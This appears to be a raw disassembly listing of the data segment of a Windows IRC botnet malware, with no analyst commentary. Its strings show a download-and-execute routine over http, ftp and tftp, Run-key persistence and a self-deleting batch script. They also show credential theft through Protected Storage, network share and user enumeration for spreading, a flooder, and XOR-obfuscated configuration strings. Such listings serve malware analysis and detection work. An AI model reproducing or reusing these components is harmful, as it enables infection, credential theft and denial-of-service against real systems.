		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: cAddress:004022D1o
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: cAddress:00402294o
		align 4
aRb		db 'rb',0               ; DATA XREF: cAddress:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: cAddress:00403228o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: cAddress:00403203o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: cAddress:0040316Ao
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
aExecuting	db ', executing',0      ; DATA XREF: cAddress:004030E2o
aUpdating	db ', updating',0       ; DATA XREF: cAddress:004030CBo
		align 4
unk_4184CC	db  2Dh	; -		; DATA XREF: cAddress:00402F40o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: cAddress:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: cAddress:00402E91o
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: cAddress:00402E16o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: cAddress:00402DDAo
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: cAddress:00402DB9o
aAnonymous	db 'anonymous',0        ; DATA XREF: cAddress:00402D8Co
					; cAddress:00402D9Fo
		align 4
a21		db '21',0               ; DATA XREF: cAddress:00402D5Ao
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: cAddress:00402D39o
		align 10h
a80		db '80',0               ; DATA XREF: cAddress:00402D00o
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: cAddress:00402CDFo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: cAddress:00402B67o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: cAddress:00402B42o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
aFile		db 'file://',0          ; DATA XREF: cAddress:00402AF2o
dword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: cAddress:00402ADCo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
a_exe		db '.exe',0             ; DATA XREF: sub_403260+43o
					; sub_412720+51o
		align 4
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: cAddress:loc_403538o
					; cAddress:loc_403545o	...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: cAddress:0040352Bo
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: cAddress:004034C7o
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: cAddress:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: cAddress:0040341Eo
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: cAddress:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: cAddress:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: cAddress:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: cAddress:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: cAddress:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: cAddress:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: cAddress:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: cAddress:00403352o
aUdp		db 'udp',0              ; DATA XREF: cAddress:00403B36o
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: cAddress:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: cAddress:00403E61o
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h		; DATA XREF: sub_403FE5:loc_403FFDo
dword_418A1C	dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0 ; DATA XREF: sub_4043E9+6o
dword_418A30	dd 2E3031h		; DATA XREF: sub_4041B7+56o
a192_168_	db '192.168.',0         ; DATA XREF: sub_4041B7+3Bo
		align 10h
a172_		db '172.',0             ; DATA XREF: sub_4041B7+20o
		align 4
a127_		db '127.',0             ; DATA XREF: sub_4041B7+5o
		align 10h
aU_U_U_U	db '%u.%u.%u.%u',0      ; DATA XREF: sub_40D871+1CCo
					; cAddress:00411595o
a1		db '::1',0              ; DATA XREF: sub_40435B+42o
aU_0		db '%u',0               ; DATA XREF: cAddress:00405A3Do
					; cAddress:00405C83o ...
		align 4
aU_U_U_UU_0	db '%u.%u.%u.%u:%u',0   ; DATA XREF: cAddress:00405903o
					; cAddress:004059F0o ...
		align 4
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: cAddress:00405888o
					; cAddress:00405994o ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: cAddress:0040580Eo
					; cAddress:00405936o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; cAddress:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: cAddress:0040647Ao
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: cAddress:004063CDo
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
aListProcesses	db 'List processes',0   ; DATA XREF: sub_4064BF+31o
		align 4
a02x		db '%02X',0             ; DATA XREF: sub_406722+266o
					; sub_4147E5+11o ...
		align 4
a08x		db '%08X',0             ; DATA XREF: sub_406722+201o
					; sub_40A9CF+1C12o
		align 4
aS		db '%s',0               ; DATA XREF: sub_406722+1E3o
					; sub_406722+296o ...
		align 4
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset dword_418D98
		dd offset dword_418DA8
		dd offset aPatns	; "¼â­éêÇ"
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset dword_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset dword_418C9C
		dd offset dword_418C88
		dd offset dword_418C6C
		dd offset dword_418C5C
		dd offset dword_418C6C
		dd offset aRitns	; "¾ˆâ­éêÇ"
		dd offset dword_418C24
		dd offset dword_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh
					; DATA XREF: cAddress:00418BE4o
		dd 0CDFEFCFBh, 9AE9A7h,	0
dword_418C10	dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: cAddress:00418BE0o
dword_418C24	dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh
					; DATA XREF: cAddress:00418BDCo
		dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0
aRitns		db '¾ˆâ­éêÇ',0         ; DATA XREF: cAddress:00418BD8o
		align 4
		dd 0
dword_418C5C	dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0 ; DATA XREF: cAddress:00418BD0o
dword_418C6C	dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h
					; DATA XREF: cAddress:00418BCCo
					; cAddress:00418BD4o
		dd 0F3h, 0
dword_418C88	dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: cAddress:00418BC8o
dword_418C9C	dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h
					; DATA XREF: cAddress:00418BC4o
		dd 0CEFEEDF4h, 2 dup(0)
dword_418CBC	dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: cAddress:00418BC0o
dword_418CD0	dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0)
					; DATA XREF: cAddress:00418BBCo
dword_418CE4	dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0 ; DATA XREF: cAddress:00418BB8o
dword_418CF4	dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0)
					; DATA XREF: cAddress:00418BB4o
dword_418D0C	dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: cAddress:00418BB0o
dword_418D20	dd 0D88195A8h, 0CCFDEBECh, 0AB90E9FBh, 2 dup(0)
					; DATA XREF: cAddress:00418BA8o
dword_418D34	dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh
					; DATA XREF: cAddress:00418BA4o
					; cAddress:00418BACo
		dd 0CDFBF8E2h, 0BBh, 0
dword_418D54	dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0 ; DATA XREF:	cAddress:00418BA0o
dword_418D64	dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h
					; DATA XREF: cAddress:00418B9Co
		dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0
aPatns		db '¼â­éêÇ',0         ; DATA XREF: cAddress:00418B98o
		align 8
dword_418D98	dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF:	cAddress:00418B90o
dword_418DA8	dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh
					; DATA XREF: cAddress:off_418B8Co
					; cAddress:00418B94o
		dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0)
dword_418DD0	dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF:	cAddress:off_418B88o
dword_418DE0	dd 293Ah		; DATA XREF: sub_406A23+9Co
dword_418DE4	dd 5Ch			; DATA XREF: sub_406A23+1Bo
					; sub_406AE7+1Bo ...
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: sub_406B81+1Bo
		align 4
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: cAddress:00407442o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
aRejected	db ' rejected',0        ; DATA XREF: cAddress:loc_407423o
		align 4
dword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: cAddress:004076B7o
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h			; DATA XREF: sub_407928+4Co
					; sub_407928+96o ...
dword_418F50	dd 30h			; DATA XREF: sub_407E0C+CBo
					; sub_40CA29+13Do ...
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_407F3D+118o
					; sub_40806A+BDo
dword_418F60	dd 0BF818FB2h, 0FFE3E0h, 0 ; DATA XREF:	sub_408887+6o
dword_418F6C	dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0)
					; DATA XREF: sub_408887+14o
aPbCs		db '²¿çé',0           ; DATA XREF: sub_408887+22o
		align 10h
dword_418F90	dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0) ; DATA XREF: sub_408887+30o
dword_418FA0	dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0 ; DATA XREF:	sub_408887+3Eo
dword_418FB0	dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0	; DATA XREF: sub_408887+4Co
off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset dword_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh
					; DATA XREF: cAddress:00418FD8o
		dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh
		dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh
		dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h
		dd 2 dup(0)
dword_41903C	dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h
					; DATA XREF: cAddress:00418FD4o
		dd 0
dword_419054	dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh
					; DATA XREF: cAddress:00418FD0o
		dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h
		dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh
		dd 0A5E1A8h, 0
dword_419098	dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h
					; DATA XREF: cAddress:00418FCCo
		dd 0E1ECh, 0
dword_4190B4	dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh
					; DATA XREF: cAddress:off_418FC8o
		dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h
		dd 0ABC6FEB0h, 0FCB5h, 0
dword_4190E8	dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h
					; DATA XREF: cAddress:off_418FC4o
		dd 0
off_419100	dd offset byte_415355	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: cAddress:0040877Bo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h			; DATA XREF: cAddress:loc_4086C8o
					; cAddress:loc_4086E7o	...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: cAddress:0040867Fo
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: cAddress:00408643o
		align 4
aNo		db 'No',0               ; DATA XREF: cAddress:loc_4085EBo
					; cAddress:loc_408CB4o	...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: cAddress:004085DFo
					; cAddress:00408CA8o ...
a2003		db '2003',0             ; DATA XREF: cAddress:004085ACo
					; cAddress:0041BD9Co
		align 4
aXp		db 'XP',0               ; DATA XREF: cAddress:0040858Eo
		align 10h
a2000		db '2000',0             ; DATA XREF: cAddress:00408570o
					; cAddress:0041BD90o
		align 4
aMe		db 'ME',0               ; DATA XREF: cAddress:00408552o
		align 4
a98		db '98',0               ; DATA XREF: cAddress:00408534o
		align 10h
aNt		db 'NT',0               ; DATA XREF: cAddress:00408513o
		align 4
a95		db '95',0               ; DATA XREF: cAddress:00408500o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: cAddress:004084DBo
		align 10h
a?:					; DATA XREF: cAddress:004084D1o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: cAddress:00408E04o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: cAddress:00408D29o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: cAddress:00408D13o
aBad		db 'Bad',0              ; DATA XREF: cAddress:00408CFDo
aLan		db 'LAN',0              ; DATA XREF: cAddress:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: cAddress:00408C7Do
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: cAddress:00408C25o
					; cAddress:00408C38o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h		; DATA XREF: sub_408E8E+6r
					; cAddress:00408F7Cr ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: cAddress:0040919Eo
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: cAddress:0040911Bo
dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: cAddress:004090F3o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh		; DATA XREF: cAddress:004090AAo
					; cAddress:00409178o
aUnknown_0	db 'unknown',0          ; DATA XREF: cAddress:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: cAddress:00409024o
aCdRom		db 'cd-rom',0           ; DATA XREF: cAddress:00409012o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: cAddress:00409000o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: cAddress:00408FEEo
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: cAddress:00408FDCo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: cAddress:00408F5Co
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0
		align 10h
aBtg		db 'btg',0
dword_419474	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: cAddress:0040941Do
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS_0		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: cAddress:00409BAFo
dword_4194CC	dd 3430032Dh, 2037802h	; DATA XREF: cAddress:loc_409B25o
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: cAddress:00409B0Fo
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: cAddress:0040A173o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: cAddress:0040A14Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: cAddress:0040A0FFo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: cAddress:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: cAddress:00409E50o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: cAddress:00409E3Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: cAddress:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: cAddress:00409E04o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h			; DATA XREF: sub_40A2D2+159o
aS_1		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_40A2D2+6Eo
		align 4
a43		db '43',0               ; DATA XREF: sub_40A2D2+41o
		align 4
dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: cAddress:0040A4E8o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
